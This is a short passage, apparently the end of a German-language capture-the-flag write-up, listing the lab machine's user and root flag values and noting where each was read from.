I hope you liked my machine!
By J4ckie0x17
4948a57231e2aed713664e3ed2659f99
elaine jerry kramer
user.txt
676ced18c8f480a80ddb4351d66d5f28
Analyse: Die Root-Flag wird aus `/root/root.txt` gelesen. Die User-Flag wird aus `/home/elaine/user.txt` gelesen.
Bewertung: Beide Flags erfolgreich gefunden.